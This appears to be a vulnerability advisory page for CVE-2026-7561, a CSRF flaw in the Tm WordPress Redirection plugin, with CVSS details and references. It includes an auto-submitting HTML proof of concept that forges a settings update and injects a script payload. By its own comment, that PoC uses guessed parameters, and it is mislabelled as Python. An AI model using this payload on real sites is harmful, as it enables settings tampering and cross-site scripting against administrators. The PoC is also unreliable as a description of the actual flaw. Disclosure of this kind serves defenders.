CVE-2026-7561

Description

The Tm – WordPress Redirection plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Tm – WordPress Redirection <= 1.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-7561: CSRF in Tm - WordPress Redirection
This PoC demonstrates how an attacker could trick an admin into updating settings.
-->
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://target-site.com/wp-admin/admin.php?page=tm-redirection-settings" method="POST">
    <!-- Parameters inferred from typical plugin structure, actual params may vary based on plugin code -->
    <input type="hidden" name="option_name" value="malicious_payload" />
    <input type="hidden" name="action" value="update" />
    <input type="hidden" name="tm_redirect_setting" value="<script>alert('XSS');</script>" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7561
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7561
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7561/
[4] VulDB https://vuldb.com/cve/CVE-2026-7561
[5] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/tags/1.2/tm-redirect.php#L168
[6] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/tags/1.2/tm-redirect.php#L265
[7] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/tags/1.2/tm-redirect.php#L308
[8] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/trunk/tm-redirect.php#L168
[9] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/trunk/tm-redirect.php#L265
[10] https://plugins.trac.wordpress.org/browser/tm-wordpress-redirection/trunk/tm-redirect.php#L308
[11] https://www.wordfence.com/threat-intel/vulnerabilities/id/82caf69a-2423-4f0f-9cf2-7d4fe428e915?source=cve

Raw JSON Data

JSON

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